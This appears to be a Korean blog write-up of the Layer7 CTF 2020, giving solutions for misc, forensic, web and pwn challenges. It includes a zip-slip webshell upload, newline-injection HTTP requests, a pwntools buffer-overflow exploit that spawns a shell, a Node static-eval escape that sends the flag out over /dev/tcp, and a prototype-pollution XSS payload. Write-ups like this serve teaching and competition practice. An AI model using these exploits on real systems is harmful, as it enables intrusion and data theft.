Profile

i love cat

as3617

Layer7 CTF 2020 writeup

LAYER7 CTF Writeup - as3617

mic check - MISC (100pts)

개발자도구로 description 영역을 확인해보면 플래그가 있다.

FLAG : LAYER7{SunriNIN73rN3thIGHScHOO1layEr7}

zipzipzipzipzip - MISC (100pts)

압축파일을 열어보면 안에 또 압축파일이 있는데 손으로 하기 귀찮아서 shell script로 빠르게 풀었다.

while [ "`find . -type f -name '*.zip' | wc -l`" -gt 0 ]
do
    find . -type f -name "*.zip" -exec unzip -- '{}' \; -exec rm -- '{}' \;
done

압축파일이 있는 폴더로 가서 위의 스크립트를 실행하면 flag 파일이 나온다.

LAYER7{z1pzipZiPz1PP1zplzPlzZ1pPlzZ1pPLZplZlzplzpLzP}

ImageSize - WEB (944pts)

라업을 작성하려고 다시 풀려했는데 안 풀리는 걸로 봐선 내 풀이가 언인텐 풀이였고 중간에 수정된 듯 하다...

<?php
   session_start();
   require_once("./util.php");

   if(!isset($_SESSION['rand']))
      $_SESSION['rand'] = md5(generateRandomString(30));

   $basedir = "./uploads/".$_SESSION['rand']."/";
   $imgs = ["png", "jpeg", "jpg"];
   @mkdir($basedir);


   function print_img_size($width, $height) {
      echo "width : ".$width;
      echo "<br>";
      echo "height : ".$height;
   }

   if(isset($_GET['source'])) { 
      show_source(__FILE__);
      die();
   }

   if(isset($_FILES['img'])) {
      $f = $_FILES['img'];
      $ext = explode('.', $f['name']);
      $lastext = $ext[count($ext)-1];

      if(!(in_array($lastext, $imgs) || $lastext == "zip")) {
            die("<script>alert(\"{$lastext} is not allowed!\"); history.back(-1);</script>");
      }

      $filepath = $basedir.$f['name'];

      if(!move_uploaded_file($f['tmp_name'], $filepath)) { 
         die("<script> alert(\"upload error\"); history.back(-1);</script>");
      }

      if(in_array($lastext, $imgs)) { 
         $info = getimagesize($filepath);
         if(!$info){
            unlink($filepath);
            die("Parsing Image error...");
         }
         print_img_size($info[0], $info[1]);
         unlink($filepath);
         die();
      }

      //zip
      $zip = zip_open($filepath);

      while ($file = @zip_read($zip))
      {
         if (!zip_entry_open($zip, $file, "r"))
            die("Zip error");

         $buffer = zip_entry_read($file, zip_entry_filesize($file));
         $imgpath = $basedir.zip_entry_name($file);
         file_put_contents($imgpath, $buffer);

         $info = getimagesize($imgpath);
         if(!$info){
            unlink($filepath);
            unlink($imgpath);
            zip_entry_close($file);
            die("Parsing Image error");
         }

         echo zip_entry_name($file);
         echo "<br>";
         print_img_size($info[0], $info[1]);

         unlink($imgpath);
         zip_entry_close($file);
         echo "<br><br>";
      }
      unlink($filepath);
      @zip_close($zip);
      die();
}

?>

img와 zip을 업로드 할 수 있는데 img 업로드 부분에선 딱히 뭔갈 할 수 없는 것 같고

zip 파일을 업로드하는 부분을 공격하였다.

$buffer = zip_entry_read($file, zip_entry_filesize($file));
$imgpath = $basedir.zip_entry_name($file);
file_put_contents($imgpath, $buffer);
$info = getimagesize($imgpath);
if(!$info){
  unlink($filepath);
  unlink($imgpath);
  zip_entry_close($file);
  die("Parsing Image error");
}

이 부분을 보면 압축된 파일의 이름을 읽어온 다음 해당 이름을 가지고 file_put_contents를 이용해서 image를 생성하고 있다.

이때 $imgpath에 들어가는 값은 별다른 필터링이 없기 때문에 zipslip 공격을 이용해서 파일 명을 ../../shell.php로 한 뒤 압축을 진행하면 서버에 업로드 하였을 때 상위 디렉토리에 shell.php를 생성할 수 있을 것이다.

그리고 getimagesize함수는 image파일에 php코드를 삽입하는 것으로 우회할 수 있다.

unlink($imgpath);

마지막 부분을 보면 upload된 파일을 삭제하고 있는데 여기서 언인텐이 터진 것 같다.

정상적으로 업로드가 되었다면

image-20201114215030291

위의 사진처럼 index.php에서 jpg 파일의 헤더를 확인할 수 있었고 이제 /flag파일을 읽으면 된다.

맨처음 문제를 풀었을 때 파일의 권한을 확인해봤었는데 기억으론 다음과 같이 되있었다.

total 3
drwxr-xr-x 6 www-data root 20480 Nov 14 21:23 .
drwxr-xr-x 5 root     root  4096 Oct  5 11:51 ..
-rwxrwxrw- 1 root     root  3740 Sep 22 23:21 index.php
-rwxrwxrw- 1 root     root  3740 Sep 22 23:21 util.php
drwxr-xr-x 3 www-data root  4096 Nov 14 21:20 uploads

대충 이렇게 되있던 것 같은데 소유자가 아닌 다른 사용자가 파일에 쓰기 권한이 있었기 때문에 업로드한 php파일을 덮어쓸 수 있었고

이후에 권한 문제로 인해 unlink가 되지 않은 것 같다.

Cute dog - FORENSIC (100pts)

사진 파일을 주는데 hxd로 열어보면 flag를 확인 할 수 있다.

FLAG : LAYER7{cutE_dog_I5_B1ue-dog}

ezbug - WEB (944pts)

소스코드를 주는데 맨 처음 봤을 땐 SQL injection문제인 줄 알고 삽질을 했었다.

function sanitize($str) {
    $retval = preg_replace("/'|\"|\\\\|\s|<|>/", "", $str);
    return $retval;
}

config.php를 보면 위와 같이 특수문자나 개행을 제거해주는 함수가 있다.

if (isset($_SESSION['user'])) {
    $userinfo = preg_split('/\R/', $_SESSION['user']);
    $userid = $userinfo[0];
    $userlv = $userinfo[2];
    $msg = "hello, $userid (lv.$userlv)";
} else {
    $msg = "welcome, please login first";
}

index.php의 일부분인데 session에 데이터를 넣을 때 정규식을 사용하여 split하고 있는데 \R은 Unicode new line을 나타낸다.

이부분에서 취약점이 발생하는데 코드를 잘보면 split한뒤 배열의 0번은 userid, 2번은 lvl에 넣는 것을 볼 수 있다. Unicode new line에는 개행문자 외에 다양한 문자들이 존재하는데 이를 이용하면 lvl을 10레벨 이상으로 조작할 수 있다.

회원가입을 할 때 user의 id에 newline을 이용하여 다음과 같이 전송해준다면 lvl을 10레벨로 조작할 수 있을 것이다.

POST /b8f6f3b977eb5b14f78defebab906ef2/register.php HTTP/1.1
Host: 211.239.124.243:18615
Content-Length: 54
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://211.239.124.243:18615
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://211.239.124.243:18615/b8f6f3b977eb5b14f78defebab906ef2/login.php
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=jeqo0qlmnrhu65h2b8be878i07; connect.sid=s%3ABoK8GtJf20pGJqZSGuLOpIdIrqhXvfpR.ozdcZDiFAjPYaHulHDkuvz%2FHlPhzKP89AKK8dx3eJaU
Connection: close

userid=test%C2%85test%C2%8510&userpw=test&submit=register
POST /b8f6f3b977eb5b14f78defebab906ef2/login.php HTTP/1.1
Host: 211.239.124.243:18615
Content-Length: 54
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://211.239.124.243:18615
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://211.239.124.243:18615/b8f6f3b977eb5b14f78defebab906ef2/login.php
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=jeqo0qlmnrhu65h2b8be878i07; connect.sid=s%3ABoK8GtJf20pGJqZSGuLOpIdIrqhXvfpR.ozdcZDiFAjPYaHulHDkuvz%2FHlPhzKP89AKK8dx3eJaU
Connection: close

userid=test%C2%85test%C2%8510&userpw=test&submit=login

image-20201114220458842

FLAG : LAYER7{prEg_sp1It_pArse_BuG_#78245}

Mask store - PWN (106pts)

간단한 bof문제다.

from pwn import *

p = remote("211.239.124.243", 18606)
e = ELF("./mask-store")
l = ELF("./libc-2.31.so")
#l = e.libc


p.recvuntil(": ")
p.sendline("2")
p.recvuntil(": ")
p.sendline("0")
p.recvuntil(": ")
pay = "a"*0x47+'A'
p.sendline(pay)

sleep(0.3)
p.recvuntil(": ")
p.sendline('3')
p.recvuntil("A")
canary = "\x00" + p.recv(8)[1:]
log.info('CANARY : '+ hex(u64(canary)))
p.recvuntil(": ")
p.sendline("2")
p.recvuntil(": ")
p.sendline("0")
p.recvuntil(": ")
pay = "a" * 0x58
p.sendline(pay)

sleep(0.3)
p.recvuntil(": ")
p.sendline("3")
leak = p.recvuntil("\x7f")[-6:] + "\x00\x00"
libc = u64(leak) - 0x2700a
log.info('LIBC : ' + hex(libc))

pay = p64(0)*9
pay += canary
pay += p64(libc + 0x1ec000)
pay += p64(libc + 0x27529)
pay += p64(0)
pay += p64(libc + 0x11c371)
pay += p64(0) * 2
pay += p64(libc + 0xe6e79)
pay += "0"*200

p.recvuntil(": ")
p.sendline("2")
p.recvuntil(": ")
p.sendline("0")
p.recvuntil(": ")
p.sendline(pay)

p.recvuntil(": ")
p.sendline("4")
p.recvuntil(": ")
p.sendline("1")
p.interactive()

canary와 libc base를 릭한 다음에 oneshot가지고 쉘을 땄다. 왠진 모르겠는데 익스가 한번에 성공하지 않는다.

몇번 시도해보면 플래그를 얻을 수 있다.

FLAG : LAYER7{w3lcom3_T0_M4sK_sT0rE...wITh1AyEr7}

Safe Evaluator - WEB (996pts)

소스코드를 주는데 굉장히 보기 힘들다.

beautifler.io를 통해 보기 쉽게 만든 다음 코드를 분석하다보면 static-eval 모듈을 이용한 nodejs 문제라는 것을 알 수 있다.

static-eval 모듈에서 일반적인 방법으론 nodejs의 함수를 실행할 수 없다.

if ("FunctionExpression" === u.type) {
                var E = u.body.body,
                    F = {};
                for (Object.keys(t).forEach((function(e) {
                        F[e] = t[e]
                    })), o = 0; o < u.params.length; o++) {
                    var x = u.params[o];
                    if ("Identifier" != x.type) return n;
                    t[x.name] = null
                }
                for (var o in E)
                    if (e(E[o]) === n) return n;
                t = F;
                var g = Object.keys(t),
                    y = g.map((function(e) {
                        return t[e]
                    }));
                return Function(g.join(", "), "return " + i(u)).apply(null, y)
            }

취약점은 위의 코드에서 발생하는데

객체를 정의할 때 keyname 부분에 배열첨자를 사용하면서 이를 함수 생성자의 인자로 사용한다면

static-eval 모듈 내부에서 함수 정의에 사용하는 escodegen 모듈을 통해 임의의 코드를 함수 정의식

내부에 삽입하여 사용자 함수를 선언함으로 RCE 공격을 진행할 수 있다.

process.binding 을 이용하여 child_process모듈을 불러오려했지만 해당 모듈이 없다고 나왔었고 그래서

spawn_sync모듈을 불러온 뒤 spawn함수를 이용하여 flag파일을 읽은 뒤 서버로 전송하였다.

(function () {({[process.binding('spawn_sync').spawn({file: '/bin/bash',args: ['bash','-c','cat flag > /dev/tcp/ip/port'],stdio: [{type: 'pipe',readable: 1}]})]: 1})})()

서버에서 netcat을 이용하여 flag를 받아주면 된다.

FLAG : LAYER7{247a86376b41e856997e99cf14c924a1105f98d366374a3267c3b1d7b1d64fda}

Tiary - WEB (1000pts,Not solve)

Cross site scripting 문제다.
대회 날에 못 풀고 대회가 끝난 뒤에 풀었다.

게시글을 작성한 뒤 들어가보면 jquery/2.2.4jquery-bbq/1.3을 사용하고 있는데
이 버전들은 Prototype polluntion에 취약하다.

https://github.com/cowboy/jquery-bbq/issues/62

image

Prototype pollution을 찾은 뒤 xss공격을 성공하려면 gadget을 찾아야한다.
html 페이지를 읽다보면 underscore.js를 사용하는데 아래의 부분에서 사용하고 있다.

 $('#content').html(_.template('<h2>{{title}}</h2><article><aside>{{content}}</aside></article>')({ title: data.title, content: data.content }));

_.template이 underscore의 render함수 인데 내부적으로 render = new Function(settings.variable || 'obj', '_', source);
와 같이 동작하는데 variable 객체를 gadget으로 사용하고 variable 객체 내부에 xss 페이로드를 삽입한다면 underscore.js는
우리의 payload를 rendering하게 되고 xss 공격을 할 수 있게 된다.

image

하지만 이 문제의 경우 outbound 연결이 막혀있기 때문에 외부로 session을 전달할 수 없다.
그래서 다음의 시나리오를 통해 문제를 해결하였다.

1.admin의 게시글 읽어오기
2.로그아웃
3.임의의 유저로 로그인
4.게시글 작성
5.브라우저에서 임의의 유저로 로그인하여 플래그확인

페이로드를 작성하고 로컬에서는 성공했었는데 리모트에선 제대로 작동이 되지 않아서 st98님께 도움을 요청했다. 

(async () => {   /*st98's payload*/
    a = await fetch('/');
    b = await a.text();
    id = b.match(/id=(.*)"/g)[0].slice(3, -1);
    c = await fetch(`/read/${id}`);
    d = await c.text();
    await fetch('/logout', {
        redirect: 'manual'
    });
    await fetch('/login', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
        },
        redirect: 'manual',
        body: 'username=ttttttttttttt&password=ttttttttttttt'
    });
    await fetch('/write', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
        },
        redirect: 'manual',
        body: `title=flag&content=${d}`
    });
})();

 

공격 시 fragment부분에 payload를 삽입하고 eval(decodeURIComponent(location.hash.slice(1)))를 통해 payload를 실행했는데 이렇게 한 이유가 있다.

문제에선 $.deparam을 사용하고 있는데 =이 들어간 payload를 GET parameter로 전달하면 이를 parameters의 구분자로 해석하여 정상적으로 공격을 할 수 없게 된다. 

Exploit

/?id=~~~~&__proto__[variable]=obj&__proto__[title]=%3Cimg%20src%3dx%20onerror%3deval(decodeURIComponent(location.hash.slice(1)))%3E#(async()=>{a=await fetch('/');b=await a.text();id=b.match(/id=(.*)"/g)[0].slice(3,-1);c=await fetch(`/read/${id}`);d=await c.text();await fetch('/logout',{redirect:'manual'});await fetch('/login',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},redirect:'manual',body:'username=poyoyooo&password=poyoyooo'});await fetch('/write',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},redirect:'manual',body:`title=flag&content=${d}`});})();

FLAG : LAYER7{68e5b8286b40c76aaa7ee8b32ab6b62ec369bd761ccd25ae2be58f33dce43f95}

LAYER7 CTF Writeup - as3617.pdf
0.59MB